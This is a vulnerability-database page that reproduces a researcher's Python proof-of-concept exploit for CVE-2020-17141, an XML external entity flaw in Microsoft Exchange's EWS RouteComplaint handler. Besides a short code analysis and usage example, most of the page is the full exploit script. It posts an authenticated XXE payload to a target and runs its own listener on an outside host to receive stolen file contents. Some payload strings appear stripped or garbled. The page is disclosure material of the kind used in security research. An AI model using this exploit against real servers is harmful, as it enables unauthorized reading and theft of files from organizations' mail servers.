Microsoft Exchange Server EWS RouteComplaint XML Entity Processing Vulnerability Disclosur
Reporter | Title | Published | Views | Family All 16 |
---|---|---|---|---|
![]() | CVE-2020-17141 | 10 Dec 202000:15 | – | nvd |
![]() | CVE-2020-17141 | 10 Dec 202000:15 | – | cve |
![]() | CVE-2020-17141 Microsoft Exchange Remote Code Execution Vulnerability | 9 Dec 202023:36 | – | cvelist |
![]() | Remote code execution | 10 Dec 202000:15 | – | prion |
![]() | Microsoft Exchange Remote Code Execution Vulnerability | 8 Dec 202008:00 | – | mscve |
![]() | Microsoft Exchange Server Remote Code Execution Vulnerability | 2 Mar 202108:00 | – | mscve |
![]() | Microsoft Exchange Server Remote Code Execution Vulnerability | 2 Mar 202108:00 | – | mscve |
![]() | Microsoft Exchange Server Remote Code Execution Vulnerability | 2 Mar 202108:00 | – | mscve |
![]() | Microsoft Exchange Server Remote Code Execution Vulnerability | 2 Mar 202108:00 | – | mscve |
![]() | Security Updates for Microsoft Exchange Server (December 2020) | 8 Dec 202000:00 | – | nessus |
#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:
```c#
namespace Microsoft.Exchange.Services.Core
{
internal sealed class RouteComplaint : SingleStepServiceCommand{
//...
internal override ServiceResultExecute()
{
if (base.CallContext.EffectiveCaller == null)
{
throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
}
this.abuseReportResults = null;
IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1
IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
imailboxSessionBySmtpAddress.WasclContext = wasclContext;
this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
}
// ...
private IAbuseReportContext ParseComplaintData()
{
if (base.Request.Data == null)
{
ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
}
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2
XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```
At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.
## Proof of Concept
Change anything within the [] brackets.
```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```
## Example
```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?
```
"""
import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % urllib.parse.unquote(self.path))
message = " ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange!")
message = """
'>
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
def main(t, usr, pwd):
server = HTTPServer(('0.0.0.0', int(port)), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
username = usr.split("@")[0]
domain = usr.split("@")[1]
h = {"Content-type" : "text/xml; charset=utf-8"}
xxe_payload = """">
%%dtd;
]>""" % (file, host, int(port))
d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8")
requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd)
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo